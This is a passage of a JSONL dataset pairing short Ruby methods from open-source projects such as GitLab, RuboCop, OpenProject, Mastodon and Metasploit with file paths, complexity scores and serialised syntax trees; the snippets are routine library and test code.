'MATCH_PASSWORD'\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"clear_password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"decrypt_files\"]},{\"type\":\"return\",\"children\":[]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"Globals\"]},\"verbose?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"success\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"🔓  Decrypted '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"lvar\",\"children\":[\"current\"]}]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},null]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"success\",{\"type\":\"str\",\"children\":[\"🔓  Successfully decrypted certificates repo\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"files\"]}]}]}]}","id":"9dcac6e3-7648-499f-8e46-74d0034e3198"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/mail-smtp_pool/lib/mail/smtp_pool.rb","start_line":24,"raw_source":"def initialize(settings)\n      raise ArgumentError, 'pool is required. You can create one using Mail::SMTPPool.create_pool.' if settings[:pool].nil?\n\n      @pool = settings[:pool]\n    end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"settings\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"settings\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"pool\"]}]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"pool is required. You can create one using Mail::SMTPPool.create_pool.\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@pool\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"settings\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"pool\"]}]}]}]}]}","id":"59e0b9ff-21e8-4b1f-9563-e228251374d8"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/variable_force/scope.rb","start_line":61,"raw_source":"def each_node(&block)\n          return to_enum(__method__) unless block\n\n          yield node if naked_top_level?\n          scan_node(node, &block)\n        end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"each_node\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to_enum\",{\"type\":\"send\",\"children\":[null,\"__method__\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"naked_top_level?\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"send\",\"children\":[null,\"node\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"scan_node\",{\"type\":\"send\",\"children\":[null,\"node\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"05ec1ec5-851f-44ce-a311-930973b2fb25"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/open_project/mutex.rb","start_line":57,"raw_source":"def with_advisory_lock_transaction(entry, suffix = nil, options = {}, &)\n      lock_name = \"mutex_on_#{entry.class.name}_#{entry.id}\"\n      lock_name << \"_#{suffix}\" if suffix\n\n      options[:transaction] ||= true\n      ActiveRecord::Base.transaction do\n        with_advisory_lock(entry.class, lock_name, options, &)\n      end\n    end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"with_advisory_lock_transaction\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entry\"]},{\"type\":\"optarg\",\"children\":[\"suffix\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[null]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"lock_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"mutex_on_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"class\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"id\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"suffix\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lock_name\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"suffix\"]}]}]}]},null]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"transaction\"]}]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"with_advisory_lock\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"entry\"]},\"class\"]},{\"type\":\"lvar\",\"children\":[\"lock_name\"]},{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"block_pass\",\"children\":[null]}]}]}]}]}","id":"54db0cd3-64d9-4b30-920f-11a7de552362"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/data_service/remote/http/remote_credential_data_service.rb","start_line":33,"raw_source":"def create_credential(opts)\n    json_to_mdm_object(self.post_data(CREDENTIAL_API_PATH, opts), CREDENTIAL_MDM_CLASS).first\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create_credential\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"json_to_mdm_object\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"post_data\",{\"type\":\"const\",\"children\":[null,\"CREDENTIAL_API_PATH\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]}]},{\"type\":\"const\",\"children\":[null,\"CREDENTIAL_MDM_CLASS\"]}]},\"first\"]}]}","id":"b6a014c8-4135-41f5-a15c-8c172bf20ac1"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/mixins/aggregation_mixin/methods.rb","start_line":5,"raw_source":"def aggregate_cpu_speed(targets = nil)\n      aggregate_hardware(:hosts, :aggregate_cpu_speed, targets)\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"aggregate_cpu_speed\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"targets\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"aggregate_hardware\",{\"type\":\"sym\",\"children\":[\"hosts\"]},{\"type\":\"sym\",\"children\":[\"aggregate_cpu_speed\"]},{\"type\":\"lvar\",\"children\":[\"targets\"]}]}]}","id":"6340ed93-47cf-4803-91d7-627af63f7e63"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/exports_controller.rb","start_line":40,"raw_source":"def location_after_save\n        spree.admin_exports_path\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"location_after_save\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spree\"]},\"admin_exports_path\"]}]}","id":"484aaa90-052b-492d-924b-61515e0e1729"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/projects_finder.rb","start_line":196,"raw_source":"def by_personal(items)\n    params[:personal].present? && current_user ? items.personal(current_user) : items\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"by_personal\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"items\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"personal\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"personal\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"lvar\",\"children\":[\"items\"]}]}]}","id":"5d225239-0650-4b06-8774-68b856382336"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/mailers/notification_mailer.rb","start_line":68,"raw_source":"def process_params\n    @notification = params[:notification]\n    @me = params[:recipient]\n    @user = @me.user\n    @type = action_name\n    @unsubscribe_url = unsubscribe_url(token: @user.to_sgid(for: 'unsubscribe').to_s, type: @type)\n  end","complexity_score":15.0,"ast_json":"{\"type\":\"def\",\"children\":[\"process_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@notification\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"notification\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@me\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"recipient\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@me\"]},\"user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@type\",{\"type\":\"send\",\"children\":[null,\"action_name\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@unsubscribe_url\",{\"type\":\"send\",\"children\":[null,\"unsubscribe_url\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"token\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"to_sgid\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"for\"]},{\"type\":\"str\",\"children\":[\"unsubscribe\"]}]}]}]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"ivar\",\"children\":[\"@type\"]}]}]}]}]}]}]}","id":"b3a32dc4-655f-4d48-af24-1f0782907b69"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane_core/lib/fastlane_core/project.rb","start_line":472,"raw_source":"def self.xcode_build_settings_retries\n      (ENV['FASTLANE_XCODEBUILD_SETTINGS_RETRIES'] || 3).to_i\n    end","complexity_score":3.83,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"xcode_build_settings_retries\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FASTLANE_XCODEBUILD_SETTINGS_RETRIES\"]}]},{\"type\":\"int\",\"children\":[3]}]}]},\"to_i\"]}]}","id":"65ead1c7-63b9-4863-bef4-6aea15299e0b"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/work_package/time_entries_cleaner.rb","start_line":34,"raw_source":"def self.included(base)\n    base.extend(ClassMethods)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"included\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"base\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"extend\",{\"type\":\"const\",\"children\":[null,\"ClassMethods\"]}]}]}","id":"47b72d30-83a6-4ad3-9b65-eee1250beb15"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/freeze_period.rb","start_line":62,"raw_source":"def freeze_start_parsed_cron\n      Gitlab::Ci::CronParser.new(freeze_start, cron_timezone)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"freeze_start_parsed_cron\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Ci\"]},\"CronParser\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"freeze_start\"]},{\"type\":\"send\",\"children\":[null,\"cron_timezone\"]}]}]}","id":"102f4737-a17e-49d0-a698-72e1788bfa02"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/v3/work_packages/work_package_eager_loading_wrapper.rb","start_line":142,"raw_source":"def work_package_labor_scope(scope)\n            WorkPackage::LaborCosts\n              .new\n              .add_to_work_package_collection(scope.dup)\n          end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"work_package_labor_scope\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"scope\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackage\"]},\"LaborCosts\"]},\"new\"]},\"add_to_work_package_collection\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"scope\"]},\"dup\"]}]}]}","id":"fa6d0f7c-2773-4712-9621-1db19d6253c0"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/concerns/api/health_checks_controller.rb","start_line":9,"raw_source":"def database\n      if ActiveRecord::Base.connected?\n        render json: { message: I18n.t(\"api.v0.health_checks_controller.database_connected\") }, status: :ok\n      else\n        render json: { message: I18n.t(\"api.v0.health_checks_controller.database_not_connected\") },\n               status: :internal_server_error\n      end\n    end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"database\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connected?\"]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"api.v0.health_checks_controller.database_connected\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"ok\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"api.v0.health_checks_controller.database_not_connected\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"internal_server_error\"]}]}]}]}]}]}","id":"7c9fdfff-1fc8-433d-9b01-0a71b3a96d55"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/topic_view_serializer.rb","start_line":318,"raw_source":"def include_visibility_reason_id?\n    object.topic.visibility_reason_id.present?\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"include_visibility_reason_id?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"topic\"]},\"visibility_reason_id\"]},\"present?\"]}]}","id":"e91c786e-ad55-4052-89e7-d3460c8c8c4f"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/test/index_cache_test.rb","start_line":169,"raw_source":"def test_with_deferred_parent_expiration_expires_parent_index_once\n    Item.send(:cache_has_many, :associated_records, embed: true)\n\n    @parent = Item.create!(title: \"bob\")\n    @records = @parent.associated_records.create!([{ name: \"foo\" }, { name: \"bar\" }, { name: \"baz\" }])\n\n    @memcached_spy = Spy.on(backend, :write).and_call_through\n\n    expected_item_expiration_count = Array(@parent).count\n    expected_associated_record_expiration_count = @records.count\n\n    expected_return_value = \"Some text that we expect to see returned from the block\"\n\n    result = IdentityCache.with_deferred_parent_expiration do\n      @parent.transaction do\n        @parent.associated_records.destroy_all\n      end\n      assert_equal(expected_associated_record_expiration_count, @memcached_spy.calls.count)\n      expected_return_value\n    end\n\n    expired_cache_keys = @memcached_spy.calls.map(&:args).map(&:first)\n    item_expiration_count = expired_cache_keys.count { _1.include?(\"Item\") }\n    associated_record_expiration_count = expired_cache_keys.count { _1.include?(\"AssociatedRecord\") }\n\n    assert_operator(@memcached_spy.calls.count, :>, 0)\n    assert_equal(expected_item_expiration_count, item_expiration_count)\n    assert_equal(expected_associated_record_expiration_count, associated_record_expiration_count)\n    assert_equal(expected_return_value, result)\n  end","complexity_score":56.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_with_deferred_parent_expiration_expires_parent_index_once\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"send\",{\"type\":\"sym\",\"children\":[\"cache_has_many\"]},{\"type\":\"sym\",\"children\":[\"associated_records\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"embed\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@parent\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Item\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"bob\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@records\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parent\"]},\"associated_records\"]},\"create!\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"foo\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"bar\"]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"baz\"]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@memcached_spy\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spy\"]},\"on\",{\"type\":\"send\",\"children\":[null,\"backend\"]},{\"type\":\"sym\",\"children\":[\"write\"]}]},\"and_call_through\"]}]},{\"type\":\"lvasgn\",\"children\":[\"expected_item_expiration_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"ivar\",\"children\":[\"@parent\"]}]},\"count\"]}]},{\"type\":\"lvasgn\",\"children\":[\"expected_associated_record_expiration_count\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@records\"]},\"count\"]}]},{\"type\":\"lvasgn\",\"children\":[\"expected_return_value\",{\"type\":\"str\",\"children\":[\"Some text that we expect to see returned from the block\"]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IdentityCache\"]},\"with_deferred_parent_expiration\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parent\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@parent\"]},\"associated_records\"]},\"destroy_all\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected_associated_record_expiration_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@memcached_spy\"]},\"calls\"]},\"count\"]}]},{\"type\":\"lvar\",\"children\":[\"expected_return_value\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expired_cache_keys\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@memcached_spy\"]},\"calls\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"args\"]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"first\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"item_expiration_count\",{\"type\":\"numblock\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expired_cache_keys\"]},\"count\"]},1,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"_1\"]},\"include?\",{\"type\":\"str\",\"children\":[\"Item\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"associated_record_expiration_count\",{\"type\":\"numblock\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expired_cache_keys\"]},\"count\"]},1,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"_1\"]},\"include?\",{\"type\":\"str\",\"children\":[\"AssociatedRecord\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_operator\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@memcached_spy\"]},\"calls\"]},\"count\"]},{\"type\":\"sym\",\"children\":[\">\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected_item_expiration_count\"]},{\"type\":\"lvar\",\"children\":[\"item_expiration_count\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected_associated_record_expiration_count\"]},{\"type\":\"lvar\",\"children\":[\"associated_record_expiration_count\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected_return_value\"]},{\"type\":\"lvar\",\"children\":[\"result\"]}]}]}]}","id":"1a5426ab-0fe8-42a3-b0c3-a74815041790"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/base.rb","start_line":70,"raw_source":"def self.documentation_url(config = nil)\n        Documentation.url_for(self, config)\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"documentation_url\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"config\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Documentation\"]},\"url_for\",{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"config\"]}]}]}","id":"c0ad982c-d16f-4b66-9d34-045c45210b67"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/counters/buffered_counter.rb","start_line":239,"raw_source":"def tracking_offset(increment)\n        increment.ref.to_i % MAX_BITMAP_OFFSET\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"tracking_offset\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"increment\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"increment\"]},\"ref\"]},\"to_i\"]},\"%\",{\"type\":\"const\",\"children\":[null,\"MAX_BITMAP_OFFSET\"]}]}]}","id":"87ae5847-ed63-4838-8022-4ab3ebc1fb32"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/forms/projects/settings/submit.rb","start_line":39,"raw_source":"def initialize(label: I18n.t(\"button_save\"))\n        super()\n        @label = label\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"label\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"button_save\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@label\",{\"type\":\"lvar\",\"children\":[\"label\"]}]}]}]}","id":"047e7398-1ae2-4b66-ad85-483ae3d0cb9f"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/activerecord/controller_runtime_test.rb","start_line":96,"raw_source":"def test_include_time_query_time_after_rendering\n    get :db_after_render\n\n    assert_equal 2, @logger.logged(:info).size\n    assert_match(/\\(Views: [\\d.]+ms \\| ActiveRecord: ([1-9][\\d.]+)ms \\(1 query, 0 cached\\) \\| GC: [\\d.]+ms\\)/, @logger.logged(:info)[1])\n  end","complexity_score":8.85,"ast_json":"{\"type\":\"def\",\"children\":[\"test_include_time_query_time_after_rendering\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"sym\",\"children\":[\"db_after_render\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"logged\",{\"type\":\"sym\",\"children\":[\"info\"]}]},\"size\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\(Views: [\\\\d.]+ms \\\\| ActiveRecord: ([1-9][\\\\d.]+)ms \\\\(1 query, 0 cached\\\\) \\\\| GC: [\\\\d.]+ms\\\\)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"logged\",{\"type\":\"sym\",\"children\":[\"info\"]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}","id":"be0b5d8f-4b73-4c40-9e72-4e96621121db"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/sd_notify.rb","start_line":76,"raw_source":"def self.mainpid(pid, unset_env = false)\n      notify(\"#{MAINPID}#{pid}\", unset_env)\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"mainpid\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pid\"]},{\"type\":\"optarg\",\"children\":[\"unset_env\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"notify\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MAINPID\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pid\"]}]}]},{\"type\":\"lvar\",\"children\":[\"unset_env\"]}]}]}","id":"de258998-3ff3-4cc7-8455-bfb02882ba8e"}
